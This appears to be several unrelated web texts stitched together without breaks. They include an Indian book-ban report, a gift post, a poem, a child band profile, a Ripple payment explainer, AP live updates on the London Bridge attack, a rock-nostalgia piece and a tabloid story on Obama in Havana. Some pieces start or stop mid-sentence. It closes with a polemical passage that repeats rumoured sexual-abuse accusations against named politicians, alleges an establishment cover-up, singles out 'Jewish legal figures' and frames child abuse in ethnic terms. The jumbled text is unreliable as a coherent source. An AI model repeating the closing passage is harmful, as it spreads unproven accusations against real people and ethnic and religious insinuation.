The fight against the book coincides with a potential ideological shift in India, which, three months ahead of a national election, has increasingly seen right-wing Hindu nationalist groups shore up power in the world’s largest democracy. Though the pulling of the book has no direct relationship to the elections, some observers have noted a rise in the influence of right-wing Hindu nationalists like Dinath Batra, the 84-year-old retired headmaster who spearheaded the campaign against Penguin and Doniger’s “The Hindus.”
Wrote novelist Hari Kunzru in the UK’s Guardian, “The Hindu far right … has become expert in wielding the weapon of offense to silence critics.”
In fact, many authors who criticized Penguin Books India’s decision directed their censure not toward the publisher, but at the antiquated laws and political campaigns against such books.
“Indian publishers have faced waves of threats from litigants, vigilante groups, and politicians,” PEN India pointed out.
Doniger herself has said she doesn’t “blame” Penguin, which after years of defending the book in court, was “finally defeated by the true villain of this piece – the Indian law that makes it a criminal rather than civil offence to publish a book that offends any Hindu, a law that jeopardizes the physical safety of any publisher, no matter how ludicrous the accusation brought against a book.”
Echoes historian Dalrymple, The "real villains are the laws in this country, which were old colonial laws drawn up in the 1890s, and which make insulting religion a criminal offense…The reality is that it is very difficult to defend yourself because the law is stacked very heavily on the side of any lunatic. It's shocking, appalling, dreadful and entirely negative, but I can understand why Penguin did what it did. They should have defended it, but I can understand why, with the law as it is, they decided they couldn't win the case.”
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Amidst the furor, there may be a silver lining after all: the ruckus has sent “The Hindus” skyrocketing up bestseller lists, and perhaps more importantly, has brought international attention to the wave of book bans in India, and with it, renewed pressure against the forces behind the suppression.
Husna Haq is a Monitor correspondent.First I received a shaving brush and a container of shaving soap and I was very pleased and happy with this gift!
But then I noticed there was something hidden within the brush*, ASTRA RAZOR BLADES!**
Having nearly avoided filleting myself I prepared to try out my new spoils, until I heard a noise behind me... The soap had multiplied, creating two medium sized bars and 2 other smaller packs***, they will last me years!
I am blown away by the amount of thought and effort that went into these packages. I tried the brush and first block of soap when they arrived and found shaving to be a lot more enjoyable then just using shaving cream. I'm more engaged in making the soap foam and re-apply takes less effort, leading to more passes and a cleaner shave. Thank you very much Secret Santa!
* Actually taped within a letter I received a few days after.
** Secret Santa's favourite blades, which were lacking from my sampler pack.
*** Yet another package, my Santa went all out!You wake up in the morning
To the chaos of human stampede
As you recollect and relive your last night
You totally miss the morning sunlight.
Beams of questions appear-
Through slightly ajar doors
Through open slits in the windows
Zigzagging through the overhead green canopy
It finds you.
And you look away
Or close your eyes.
You try to work in the noon
amid the mayhem of human voices
As you walk by few trees
You ignore the beckoning of the breeze.
Winds of questions appear-
Blowing over vast mountains
Speeding across plains
Tiptoeing through the concrete forest
It brushes your skin, welcoming you.
And you close your arms
Or close your eyes.
You lie down and close your eyes in the eve
Going through a cauldron of human feelings
Giving the trivial thoughts a long run
You totally ignore the most important ones.
You should be sprinting along with the wind
And sailing over the tides
Going beyond the sun rays
And seeing what’s there on the other side.
While you seek the God, the Creator
You can be one with nature
This is the at-one-ment
Waiting for you after a gritty climb.
So open your eyes and see all you can
Before you close it for the last time.
AdvertisementsA trio of friends from Brooklyn, N.Y., who are not yet out of middle school have signed a record deal with Sony.
Guitarist Malcolm Brickhouse, 13, bassist Alec Atkins, 13, and drummer Jarad Dawkins, 12, are the three members of the heavy metal band “Unlocking the Truth” from New York City.
While other kids may be spending the summer at camp and preparing for eighth grade, these three musicians will be figuring out the logistics of their potential $1.7 million deal with Sony.
“The record deal is awesome,” Jarad told ABC News. “This is something we always wanted."
WATCH: Middle School Heavy-Metal Band
The band was founded in 2007 by lifelong friends Malcolm and Jarad. When they were young children, Malcolm’s father would take them to wrestling shows, where the background music was metal.
“It’s just fun. It’s exciting, and if I listen to the lyrics in metal, they just touch me,” Malcolm said. “I don’t like hip-hop because they don’t talk about anything important.”
The pair said they became serious about music in 2012, and recruited Alec to join them, teaching him how to play bass from scratch.
At first, the boys said they were bullied at school for their heavy metal look – skinny jeans, black nail polish – but then their videos started to go viral and they were invited to play real shows.
The band made up to $1,600 per day playing on the streets of New York City before being discovered and brought on the Vans Warped Tour and as an opening act for Guns N’ Roses in Las Vegas. They have also been featured in a Cole Haan Christmas ad and an ad for Beats by Dre, which gave them unimpeachable street cred and changed the way they were treated in school.
“They say, ‘oh I saw your commercial, you’re so cool. That’s Mr. rock star, you don’t know me anymore, Mr. rock star,’” said Alec, laughing.
“Once they have seen the commercial, they are all like ‘oh my god, you were in that commercial!’ Yes, I was,” Jared added.
Now the band is playing bigger and bigger venues, including South by Southwest, and this year the trio made history as the youngest band ever to perform at the indie-music festival Coachella in California.
Sony has committed to producing at least two albums with the band, with an option to produce four more. If Sony produces all six albums, the boys could net as much as $1.7 million.
Aside from the boys, no one is more excited for them than their manager, Malcolm’s mother, Annette Jackson, and their biggest cheerleader, Malcolm’s father, Tracey Brickhouse.
“I never thought that taking these kids to see WWE Wrestling and watching Japanese cartoons would inspire them to play heavy metal music. Sometimes... I can’t sleep at night because there are so many things happening,” Brickhouse said. “I sleep and I eat and I drink these kids, it might sound like I am bragging about these kids, but I am the proudest dad in the world. Sometimes I have to pinch myself, it’s like a dream come true. They are talented, they work hard, they deserve everything that is happening.”Sponsored Links
Ripple is based on a simple idea that has only recently become feasible, thanks to computer technology and the internet.
The system keeps track of the source of all IOUs (I owe you), so that debts that are not repaid are automatically borne by the issuer.
Ripple cuts the banks right out of the picture by allowing anyone to act as a bank and grant credit within the Ripple system to anyone they know.
National monetary systems rely on trust in large financial institutions. A bank account balance, stored as electronic bits in a computer, represents a promise by the bank to pay the account holder. That promise is only meaningful if the bank is trustworthy. Banks, in turn, leverage those deposits to issue new money by making loans to trustworthy individuals as determined by an often labour-intensive screening process.
By cutting out the institutional middlemen, Ripple is both more community-oriented and more efficient as a means of exchange.
Conceived by Ryan Fugger and quite formally defined by Sylvain Poirier, Ripple is a P2P monetary system based on trust that already exists between people in real-world social networks.
Banking and the Trusted Intermediary
Banking was invented to solve the problem of the trusted intermediary: I'd like to buy something from you on credit, but you don't know if my credit is good, so you can't accept my IOU.
If we can find someone who you trust, and I can obtain their IOU, I can use it to pay you.
Goldsmiths were trusted by everyone in the region because they held gold in their vaults, and so they were natural candidates to be ideal trusted intermediaries. The catch was, you had to obtain their IOU, which was the original paper money, either by borrowing it at interest, or by earning it from someone who already had it.
We have become so used to our banking system, we do not realize that any trusted intermediary will do.
For example, a mutual friend might vouch for me by agreeing to assume the debt if I failed to repay. We might even arrange for the mutual friend to simply assume the debt so that I could just pay her. In general, a chain of more than one trusted intermediaries, each a mutual, trusted friend between the previous and the next, works the same way.
How Does Ripple Work?
Each participant indicates which other participants he or she trusts, by offering to accept their IOUs up to a certain amount, like a line of credit.
To make a payment to someone who trusts you, you simply adjust your IOU balance with them to indicate that that you owe them the amount of the payment.
To pay someone who doesn't trust you, the Ripple system finds a chain of credit connections between you and the payment recipient. Then you pay the first person in the chain, who pays the second person, and so on until the recipient gets paid.
This is exactly what happens when someone writes a normal cheque.
Their bank deducts from his account (which is his IOU balance with the bank), and pays the central bank, who credits the recipient's bank, who further credits the recipient's account.
In other words, the payer gives some of his bank's IOUs back to his bank, his bank gives some of the central bank's IOUs (national currency) back to the central bank, who passes them along to the recipient's bank, who issues its own IOUs (bank account digits) to the recipient.
Note that all three intermediaries are banks. Ripple lets everyone act like a bank.
Ripple Key Traits
1. Ripple is a way to make payments across currencies
Think of Ripple as a way for a user of one community currency to pay and accept payments from users of other community currencies. Ripple allows someone who uses two currencies to easily act as a broker or intermediary for transactions between the two currency communities of which he is a member. But more than that, Ripple is a protocol for discovering chains or two or more of such intermediaries, so that payments can be made between two currency communities that have no members in common. All this can be done quite seamlessly to the end user.
Integrating Ripple into a community currency means that the power of that currency is no longer limited by the number of people that accept it, but rather by the number of people in the Ripple network that it is connected to.
This allows the smallest community currency to become just as useful for payment as a national currency, and overcomes the primary advantage of a national currency over community currencies.
This can all be done without adding any complexity for the end user.
2. Ripple allows anyone issue their own currency
A currency issuer could be defined as one who acts as a payment intermediary between subscribers to that currency. It does this by vouching for the currency put forward as payment between two subscribers, and agreeing to make good on the debt it represents.
Every Ripple node is like a LETS system, in that it operates as a payment intermediary, vouching for payments between its neighbouring nodes, just like a LETS system operates as a payment intermediary between its members.
Ripple allows all these separate currency issuers to connect to a larger payment network without interfering with the operation of their individual currencies. Ripple makes no assumptions about how a currency is issued, except that balances be electronically stored by the issuer.
Give Me An Example
Imagine you went on a camping trip with your friend and a group of her friends who you had just met. At the end of the trip, everyone has to chip in for gas, but you have no cash to pay the driver. Since you don't really know him, it makes no sense for you to owe the driver. Instead, you arrange for your friend to owe the driver, and for you to owe your friend. Your friend is acting as an intermediary, vouching for you IOU to the driver.
In this simple example, there is no need for an automated system to keep track of the debt chain, and the debts will probably be paid off in normal currency. But Ripple builds on this exact concept to create a web of automated intermediaries.
Suppose Alice and Bob grant each other $100 credit on the Ripple network, and Bob and Carol do the same. Now suppose that Alice wants to buy a $10 item from Carol, whom she doesn't even know. Ripple finds that Bob is a one-link chain connecting Alice and Carol. Alice pays Bob by passing him a $10 IOU, and then Bob passes Carol his own $10 IOU (not Alice's). In the end, Carol is owed $10 not by Alice, whom she doesn't know or trust, but by Bob, whom she trusts enough to loan up to $100. This is fine with Bob, since he knows the IOU he has from Alice balances what he now owes Carol.
How does this so-called "payment" do Carol any good? Suppose she wants to buy something for $5 from Dan, a complete stranger to her, but a friend to Alice. Ripple will find the connection through Bob and Alice, and then she will pay Bob by cancelling $5 of his $10 debt. Bob will pay Alice by cancelling $5 from her debt, and Alice will pay Dan by passing him a $5 IOU. After all that, Alice owes $5 Dan and $5 to Bob, who owes $5 to Carol.
Give Me More
See also:
Social Credit: Make Your own Bank by Sepp Hasslberger
Ryan Fugger - [ Read more ]An armed Police officer looks through his weapon on London Bridge in London, Saturday, June 3, 2017. British police said they were dealing with "incidents" on London Bridge and nearby Borough Market in the heart of the British capital Saturday, as witnesses reported a vehicle veering off the road and hitting several pedestrians. (Dominic Lipinski/PA via AP)
LONDON (AP) — The Latest on an incident on London Bridge (all times local):
8:37 a.m.
London’s Ambulance Service says more than 30 people have been taken to hospitals for treatment around the capital following the London Bridge attacks.
A number of other patients were treated for less serious injuries in the center of the city, after a vehicle veered off the road and mowed down pedestrians on the bridge. Witnesses told of men with large knives stabbing passersby at nearby Borough Market
Some 80 medics responded to the incident including ambulance crews and an advanced trauma team from London’s air ambulance.
___
8:23 a.m.
Photographer Gabriele Sciotto captured a picture of one of the attackers wearing what appear to be canisters strapped to his chest.
The 25-year-old Sciotto says he was on his way home from a pub when he saw a man running toward him telling him to turn around and run because there was a terrorist attack. As a documentary filmmaker, though, his instincts were to keep going.
He says that at first, “it didn’t look too dangerous.”
The men went into Borough Market, but they turned around and ran toward the Wheatsheaf Pub after being confronted by a police officer. He says suddenly a lot of police came from the other direction.
He says ”(the attackers) had no clue what they were doing. They were scared. The police were scared.
He took the photograph after the men had been shot.
___
4 a.m.
London’s police say six people died and 20 were injured in the attacks in the center of London. Police shot dead three suspects.
The Metropolitan Police’s head of counter-terrorism Mark Rowley said early Sunday that police believe all the attackers were killed but are conducting further investigation to make certain this is the case.
Rowley says the suspects were confronted and shot by police “within eight minutes of the first call.”
Rowley says the three attackers were wearing what appeared to be suicide vests but they turned out to be hoaxes.
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3:12 a.m.
Japan has issued a travel advisory warning its nationals to avoid places of what it calls potential targets in London, including sightseeing spots, department stores, markets, concert venues and political rallies.
The warning comes amid unfolding terrorist attacks at London Bridge and nearby Borough Market.
The Foreign Ministry says Japanese visitors should “pay close attention to the surroundings, and leave quickly if any suspicious signs are seen.”
___
2:47 a.m.
The London Ambulance Service says more than 20 people have been injured in the vehicle and knife attack in the London Bridge area.
The service says “we have taken at least 20 patients to six hospitals across London.” Several other people were treated at the scene for less serious injuries.
It is urging people only to call an ambulance in an emergency as they treat victims of the attack.
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2:20 a.m.
The U.S. State Department says that the “United States condemns the cowardly attacks targeting innocent civilians in London this evening.”
State Department spokeswoman Heather Nauert said Saturday evening: “The United States stands ready to provide any assistance authorities in the United Kingdom may request.”
She said: “Our hearts are with the families and loved ones of the victims. We wish a full and quick recovery to those injured in the attacks. All Americans stand in solidarity with the people of the United Kingdom.”
The agency’s statement was similar in tone to a tweet from President Donald Trump earlier in the evening: “Whatever the United States can do to help out in London and the U. K., we will be there - WE ARE WITH YOU. GOD BLESS! ”
___
2:15 a.m.
Australia’s foreign minister describes the incidents at London Bridge and London’s Borough Market as a “shocking situation.”
Foreign Minister Julie Bishop says in a statement: “We stand ready to support the British government as it responds to these attacks and our thoughts are with those injured and their families.”
The Australian Government is seeking to determine if any Australians are involved or affected in any way.
___
2:10 a.m.
The editor of the Sun tweeted that the newspaper has confirmed the blasts heard outside its offices were police-controlled explosions.
The blasts occurred at 1:23 a.m. and 1:25 a.m.
A third explosion was heard a few minutes later near The Shard, an iconic skyscraper close to London Bridge, the Sun reported. Several fire engines were parked outside the building at the time of the blast.
___
1:55 a.m.
The Sun newspaper reported that two explosions were heard outside the paper’s offices near London Bridge. The blasts, which occurred at 1:23 a.m. and 1:25 a.m., are believed to have been controlled explosions carried out by police, the newspaper said.
A third explosion was heard a few minutes later near The Shard, an iconic skyscraper close to London Bridge, the Sun reported. Several fire engines were parked outside the building at the time of the blast.
___
1:50 a.m.
As in Manchester two weeks ago, Londoners were quick to offer assistance to those caught up in the attacks at London Bridge and Borough Market.
Phaldip Singh, who describes himself as an entrepreneur and youth activist, tweeted that Sikh Gurdwaras were open to provide food and shelter for those affected by the attacks. Gurdwaras are places of worship that traditionally serve simple meals to anyone, regardless of their religion.
The Royal Oak pub in Southwark opened its doors to people evacuated from hotels inside the area cordoned off by police. At least one minicab company tweeted an offer of free rides for people stranded in the area.
___ 1:40 a.m.
London Mayor Sadiq Khan has condemned the incidents at London Bridge and on Borough Market, describing them as “a deliberate and cowardly attack on innocent Londoners.”
The mayor issued a statement early Sunday in which he urged the public to remain calm as the situation is still unfolding.
He says that his thoughts are with everyone affected.
“This was a deliberate and cowardly attack on innocent Londoners and visitors to our city enjoying their Saturday night,” Khan said. “I condemn it in the strongest possible terms. There is no justification whatsoever for such barbaric acts.”
___
1:15 a.m.
U.S. President Donald Trump is arguing in favor of his controversial travel ban as London authorities respond to reports of a string of attacks.
London authorities are investigating reports that a vehicle has hit pedestrians on London Bridge. Two other incidents also are being reported.
Trump began tweeting about the attacks an hour or so after initial news reports. One tweet read: “We need to be smart, vigilant and tough. We need the courts to give us back our rights. We need the Travel Ban as an extra level of safety!”
Federal courts have blocked Trump’s travel ban on six mostly Muslim countries and refugees from anywhere in the world. His administration is asking the U.S. Supreme Court to reinstate it.
Trump also tweeted a pledge of help and support for London.
__
1:05 a.m.
Police say a hit-and-run and stabbings on and near London Bridge have been officially declared a “terrorist incident.”
Armed officers flooded the busy area of the city after a van struck multiple people on the bridge. Witnesses also reported seeing people being stabbed by at least one man.
Police say the incidents occurred on the bridge and at Borough Market a short distance away.
The force initially said they were also responding to a reported third incident, in the Vauxhall area of London. But they said later that turned out to be an unrelated stabbing.
___
12:55 a.m.
Police say they are working with Royal Naval Lifeboat Institution to evacuate public from the London Bridge incident.
Police say a vehicle reportedly ran down pedestrians on London Bridge, and there were reports of stabbings nearby.
The BBC says more than one person has been killed.
British Prime Minister Theresa May says the incident “is being treated as a potential act of terrorism.”
__
12:42 a.m.
British Prime Minister Theresa May says an incident involving a vehicle and reported stabbings in London “is being treated as a potential act of terrorism.”
May says it is a “fast-moving investigation” and her thoughts are with those caught up in the “dreadful events.”
Police say a vehicle reportedly ran down pedestrians on London Bridge, and there were reports of stabbings nearby. They has also responded to an incident in another area of London, Vauxhaul.
The BBC says more than one person has been killed.
_____
12:36 a.m.
Jeremy Corbyn, the head of the Labour Party, said on Twitter: “Brutal and shocking incidents reported in London. My thoughts are with the victims and their families. Thank you to the emergency services.”
___
12:19 a.m.
Downing Street says Prime Minister Theresa May will chair a meeting of the government’s emergency response committee on Sunday.
A spokesman for May says the prime minister is in contact with officials and is being regularly updated.
May has not commented yet but in the past she has convened her emergency security Cabinet known as Cobra after major incidents.
Britain’s official terror threat had recently been lowered from “critical” after a bombing killed 22 people at an Ariana Grande concert in Manchester.
___
12 a.m.
London police say they are responding to reports that a vehicle hit pedestrians on London Bridge and that there were stabbings at busy Borough Market nearby.
Soon after they responded to another incident in the Vauxhall area, over a mile away.
The Metropolitan Police says armed officers have been sent to the scenes and shots were fired. They did not say if officers fired the shots.
The force has tweeted a warning telling people in the area to run to safety, hide and then call police if it is safe to do so.
___
11:50 p.m.
A spokesman for Prime Minister Theresa May says she is being briefed on the incident at London Bridge.
The spokesman says the prime minister is in contact with officials and is being regularly updated.
May has not commented yet but in the past she has convened her emergency security Cabinet known as Cobra after major incidents.
Britain’s official terror threat had recently been lowered from “critical” after a bombing killed 22 people at an Ariana Grande concert in Manchester.
U.S. President Donald Trump’s spokesman says Trump has been briefed by his national security team and he will be provided with updates.
___
11:40 p.m.
British transport police say there are reports of multiple casualties following a major incident on London Bridge.
Nick Brandon of the British Transport Police control room says he has received reports of an incident possibly involving a knife and a vehicle.
Witnesses have reported seeing people hit by a vehicle on London Bridge. Police say they’re responding to an incident there and another at Borough Market, a busy area of pubs and restaurants nearby.
He said the seriousness of the injuries is not yet known.
___
11:30 p.m.
London police are treating injured people on a small street some 500 meters (yards) southwest of London Bridge, where witnesses say pedestrians were hit by a vehicle and police say they are responding to an incident.
Britain’s Press Association news agency says members of the public were told to run away as fast as they could from the area, which is filled with restaurants and pubs.
Nick Archer, who was in the London Bridge area, says he came out of a bar and looked to his left and saw a man lying on the ground. He thought the person had been drinking, but then police vans flew by.
___
11:25 p.m.
London police say they are responding to an incident at Borough Market, a popular tourist area with restaurants and bars a short distance from London Bridge, where a vehicle is reported to have hit pedestrians.
The Metropolitan Police force says armed officers are responding at both scenes.
Witnesses have reported seeing injured people on the ground on the bridge. Police have closed a nearby railway station and told people to get away from the area.
___
11:10 p.m.
London’s transportation authority has closed three London Underground stations near London Bridge, where police say they are dealing with an incident and witnesses report seeing a vehicle hitting pedestrians.
An eyewitness tells Sky News he saw people who seemed to have been run over and people being placed in an ambulance covered in blankets.
London Metropolitan Police have said only that they are dealing with an incident on the bridge, and London Mayor Sadiq Khan tweeted that people should follow police on Twitter for updates.
Another eyewitness tells Sky he heard a burst of gunfire during the incident.
___
11 p.m.
British police say they are dealing with an “incident” on London Bridge.
Witnesses report a vehicle hitting pedestrians and injured people on the ground.
Transport for London says busy London Bridge station has been closed at the request of police.'Oh We've Got A Bigger Dressing Room Than The Puppets, That's Refreshing'
Enlarge this image toggle caption Popperfoto/Getty Images Popperfoto/Getty Images
The bigger they are, the harder they fall. That old expression came to mind when I read the headline of a recent press release:
'Grand Funk Railroad, Boston, Kansas at Aberdeen Proving Ground, August 11'
These three bands have sold a combined total of over 70 million records! Back in the day, each band could have filled a stadium of 50,000 on its own. Today, when I called the box office at the Aberdeen Proving Ground to ask if they'd sold out the 10,000 tickets available for the Aug. 11 show, the answer was, "Heck no. We'll have tickets the day of the event." Maybe it's not exactly the same as playing the state fair or that Spinal Tap moment when they find themselves opening for a puppet show, but it sure is a huge step down. This hit me particularly hard because Grand Funk Railroad was one of my favorites as a teen, and just about the first concert I ever saw.
So try imagining this: It's 2042. What three bands will be playing the state fair circuit?
Muse?
Jay-Z?
Modest Mouse?
Just imagine your three-band nightmare fantasy and share it with us in the comments.Advertisement
President Obama was all smiles this afternoon as he watched an exhibition baseball game between the Tampa Bay Rays and the Cuban national baseball team - just hours after ISIS terrorists killed at least 34 people in Brussels.
Settling down with wife Michelle, daughters Sasha and Malia and Cuban dictator Raul Castro, Obama appeared carefree as he enjoyed the game - ignoring calls to cut short his historic trip to return to Washington and lead the response.
Indeed, despite criticism that he only devoted one minute of his speech earlier in the day to the Belgian atrocities, Obama took the time to give a somewhat surreal 15-minute interview to ESPN about the threat posed by ISIS - keeping his $500 shades on throughout the spot.
Scroll down for video
No disruption: The president said that changing our way of lives in response to terror is exactly what ISIS want
Jovial: President Obama was clearly enjoying the historic baseball game which was played between the Tampa Bay Rays and the Cuban national team
After observing a moment of silence for the hundreds of victims, a relaxed Obama said, 'This is just one more example of why the entire world needs to unite against these terrorists.'
'The notion that any political agenda would justify the killing of innocent people like this is... is beyond the pale.'
Obama said, 'We are gonna continue with the over 60 nations that are pounding ISIL, and we're going to go after them. In the meantime, obviously our thoughts and prayers are with those who've been lost and hoping for a speedy recovery or those who've been injured.'
When asked by ESPN why he had not returned to Washington, the president said to do so would show the terrorists they have the power to disrupt.
'It's always a challenge when you have a terrorist attack anywhere in the world, particularly in this age of 24/7 news coverage,' said the president. 'You want to be respectful and understand the gravity of the situation, but the whole premise of terrorism is to try to disrupt people's ordinary lives.'
Recalling what he called one of his proudest memories during his time as president, the reaction of Boston Red Sox' David Ortiz after the Boston bombings in April 2013, Obama said he felt the hitter spoke for the nation when he said, 'This is our f**king city and nobody is going to dictate our freedom.'
'Probably the only time America didn't have a problem with somebody cursing on live TV was when he talked about Boston and how strong it was and wasn't gonna be intimidated,' Obama said.
'That is the kind of resilience and the kind of strength that we have to continually show in the face of these terrorists. They cannot defeat America.'
The president then offered his 'thoughts and prayers' to those affected by the terror attacks.
Just after the game ended and Air Force One took off for Argentina for a two-day stint, the president ordered all federal flags to be flown at half mast as a mark of respect for those who were killed in Tuesday morning's attacks.
Prior to his interview with ESPN, Obama had faced calls from Ted Cruz, Donald Trump and John Kasich to leave Cuba and return to the states.
The president did not heed their advice. He dedicated a brief portion of a planned speech to the attacks and went on about his day.
He met Cuban dissidents at the U.S. Embassy in Havana, then made his way to watch the baseball in casual khaki pants, white shirt, no tie, and sunglasses.
The wave: President Obama, Michelle and Raul Castro all get involved at the baseball in Cuba on Tuesday
New buddy: Cuban President Raul Castro, (right), and U.S. President Barack Obama share a joke during the baseball match between the Tampa Bay Rays and the Cuban national baseball team in Havana, Cuba
Big fans: Barack Obama and Raul Castro settle down for the historic baseball game between the Tampa Bay Rays and the Cuban national team
Enthusiastic: US First Lady Michelle Obama gestures as her mother Marian Shields Robinson (L) waves next to US President Barack Obama, daughters Malia (2-L) and Sasha (out of sight) and Cuban President Raul Castro
Famous: Cuban President Raul Castro waves as he returns to his seat after greeting Rachel Robinson, the widow of baseball legend, US Jackie Robinson, the first African-American to play in the Major League
Esteemed guest: President Barack Obama talks with Rachel Robinson, widow of baseball hall-of-famer Jackie Robinson, before taking his seat with Cuban President Raul Castro
Happy days: Capping his remarkable visit to Cuba, President Barack Obama on Tuesday declared an end to the 'last remnant of the Cold War in the Americas' and openly urged the Cuban people to pursue a more democratic future for this communist nation 90 miles from Miami
Let's play ball: Barack and Michelle Obama react to a play during the baseball, while Raul Castro sits impassively
Day out: Obama with the First Family and Cuban President Raul Castro attending the historic baseball game in Havana, Cuba
Malia Obama (left) and Sasha Obama (right), U.S. first lady Michelle Obama and President Barack Obama all keep themselves amused during the baseball game
Famous friends: President Obama talks with former New York Yankees shortstop Derek Jeter
U.S. Rep Nancy Pelosi, center, attends the exposition game between the Tampa Bay Rays and the Cuban national team at the Estado Latinoamericano. To her left is Democratic Congresswoman Rosa DeLauro
No worries: President Obama later reacted to today's ISIS attack in Brussels during an ESPN interview but at the top of the game he was clearly having a good time
The game kicked off with a moment of silence for the Brussels terrorist attack and a choir sang the national anthems of both countries.
Then, it was time for the festivities. Cuban baseball players delivered individually-wrapped white roses to Mrs. Obama and her daughters before they took the field and attendees - including the U.S. president - went through several rounds of the wave.
More than a hundred pigeons were released from behind the warning track in center field during the pre-game show, as well.
The Obamas stayed for the first two innings of the game and left as the third was about to begin in order to drive back to the Havana airport and take their Argentina flight. In a surprise farewell, Castro showed up at the airport to see them off.
Earlier in the day Obama addressed the terrorist attacks that happened this morning in Brussels at the beginning of his remarks on the United States' complicated history with Cuba.
The moment he found out: Obama and his National Security advisor Susan Rice talk on the phone with Homeland Security Advisor Lisa Monaco to receive an update on the terrorist attack in Brussels; He made the call from the residence of the US Chief of Mission in Havana
In his speech, Obama said, 'We will do whatever is necessary to support our friend and ally Belgium in bringing to justice whoever is responsible and this is yet another reminder that the world must unite'
President Obama was all smiles this afternoon as he arrived at an exhibition baseball game between the Tampa Bay Rays and the Cuban national baseball team
Obama entered the stadium with his wife Michelle Obama, daughters Sasha and Malia and Cuban dictator Raul Castro
TROUBLED TIMES: Obama said the 'thoughts and the prayers of the American people' are with the people of Belgium' today during a speech this morning following the Brussels terrorist attacks that killed at least two dozen people today
Cuban baseball players delivered individually-wrapped white roses to Mrs. Obama and her daughters before they took the field
DOWN TO BUSINESS: Obama and Castro sported serious faces as they awaited the start of the friendly rivalry game between their countries
Spectators cheers during a baseball match between the Tampa Bay Rays and the Cuban national team, in Havana, Cuba, on Tuesday
A man holds Cuban and US flags during a Major League baseball exhibition game attended by US President Barack Obama and Cuban President Raul Castro
Obama said the 'thoughts and the prayers of the American people' are with the people of Belgium' today following the Brussels terrorist attacks that killed at least two dozen people.
'We stand in solidarity with them in condemning these outrageous attacks against innocent people,' Obama said in his Havana speech. 'We will do whatever is necessary to support our friend and ally Belgium in bringing to justice whoever is responsible and this is yet another reminder that the world must unite.'
He added, 'We must be together - regardless of nationality, or race, or faith - in fighting against the scourge of terrorism. We can and we will defeat those who threaten the safety and security of people all around the world.'
Obama was on foreign travel in Cuba and was hit by all three Republican presidential candidates for staying in the country instead of cutting his trip short and returning home.
US President Barack Obama (L) and First Lady Michelle Obama climb the stairs to board their plane at Jose Marti international airport in Havana
US President Barack Obama (bottom left and right with wife, Michelle) and his family board their plane at the Jose Marti international airport in Havana
A man watches on television as U.S. President Barack Obama delivers a speech at the Gran Teatro de la Habana Alicia |
followed another. It turned out that police investigations had been mysteriously derailed, three chances to prosecute had been missed, there had been love letters from Janner to one boy. A second judge even helped Janner in a cover-up. Dozens of former residents of Leicestershire homes for boys came forward to claim that they had been abused by Janner in a scandal that went back four decades.
This fresh scandal will bring a renewed focus on the accusations that swirled around the former president of the Board of Deputies of British Jews because of his connection to Keith Vaz. The only part of the Keith Vaz story that is doubtful is the suggestion that it “will shock Westminster.” In fact lurid stories and rumours around Vaz have been circulating for years and this rent boy episode would be one of the milder ones. No doubt this will be followed by a flood of other revelations. The influential Guido Fawkes website has suggested
It is widely known around Westminster that Vaz — who owes his career to Greville Janner — was the unidentified MP in this Sun front page from last year.
The headline on that Sun front page says “Top Labour MP is paedo” but does not name anyone. It is likely that some journalists will be asking again why Keith Vaz protected Janner. Vaz has refused to respond to inquiries on this.
As one of Britain’s most prominent minority politicians Vaz’s name has never been far from controversy. He is seen as someone who sails close to the wind. He has been accused of expenses abuse, taking undeclared financial donations, helping to fix passports for Indian billionaires and much, much more.
These new revelations will also be embarrassing for another close friend of both Lord Janner and Keith Vaz. As Speaker of the House of Commons, the daintily flamboyant figure of John Bercow is privy to more inside information than most. The Guido Fawkes website has said that a year ago he fully knew that Vaz was under police investigation for drug use and “historic” sex crimes. The website says that Bercow protected Vaz. Not only that, but Speaker Bercow appears to have gone out of his way to do some backstage string-pulling so that Vaz would be appointed to the plum job of chairman of the Home Affairs Select Committee; the rum manoeuvring on this can be found here. The relevant material is from Col. 915 onwards. The Parliamentary language may be obscure but MPs are complaining that Keith Vaz appears to have been parachuted into an important position and neither they nor the press have not been given the chance to scrutinize the appointment. Also — and very unusually — Keith Vaz was the sole nominee. Vaz has resigned from this position. Doubtless Bercow will be facing questions as to why he was so eager to get Vaz this job.
This comes at a pretty unfortunate time for those in the political and legal establishment who wanted the Greville Janner affair buried and out of the way. Janner’s death, aged 87, just before Christmas last year seemed to end the proceedings and leave the whole matter conveniently unresolved for good.
But the accusations against the co-founder of the Holocaust Education Trust were so appalling, the stink of an establishment cover-up so overpowering, that some kind of hearing was necessary, to give the 22 accusers an opportunity to state their case in open court. To this end it was decided that a little-used procedure, called a “trial of facts,” would be held to hear the evidence. In this procedure a jury would be asked to decide — without pronouncing whether Janner was guilty — if the abuse had taken place. Not ideal then but, if nothing else, it would also bring closure and create an impression there had been at least some attempt at justice.
There was much institutional resistance from the legal establishment. Prominent Jewish legal figures like Jonathan Caplan QC and David Pannick QC were not alone in being willing to defend the DPP’s original decision not to prosecute.
So, in the end, even this grudging concession was not to be. Instead the “trial of facts” hearing was dropped and instead the Janner case was bundled into the massive and much more wide-ranging nationwide inquiry into historic institutional sexual abuse.
This was bizarre. For this huge UK-wide inquiry was tasked with not only looking at historic sex abuse by Muslim rape gangs preying on children from local authority care homes but it would also investigate the Roman Catholic Church, the Anglican Church, National Health Service, schools and so on. And now it will also include the case of Greville Janner.
This melange is totally unwieldy and unmanageable, but perhaps that is no accident. The powers-that-be are keen to nuance sex abuse scandals with the wrong kind of ethnic overtones into a broader caseload. That way, the unmistakeable racial contours of say, the Muslim rape gang assaults, could be submerged into a national picture and the authorities will be able to show that, taken overall, it is White men who are responsible for most of Britain’s rape and child sexual abuse.
The insistence that there is no racial component to the child rape epidemic in northern English towns has long been an article of faith for police chiefs and politicians such as in Manchester where an assistant police chief said “the case was not about race,” but “adults preying on vulnerable young children. It just happens that in this particular area and time, the demographics were that these were Asian men.” It is a variation of the strategy adopted by Labour politicians such as Rotherham’s Sarah Champion MP who said that White men were the main sexual offenders in the UK overall.
But still the Greville Janner affair has a long road ahead of it. From the outset this nationwide inquiry has been plagued by bad luck. The first two chairwomen had to resign when it was discovered they were too close to the institutions they would be investigating. (But given the wide-ranging nature, was there any legal figure in Britain who was free of such connections?)
Eventually the government secured the agreement of a New Zealand judge called Lowell Goddard to steer the inquiry on a huge salary. But the hapless Judge Goddard may not have appreciated the disapproval of the legal establishment to the whole affair.
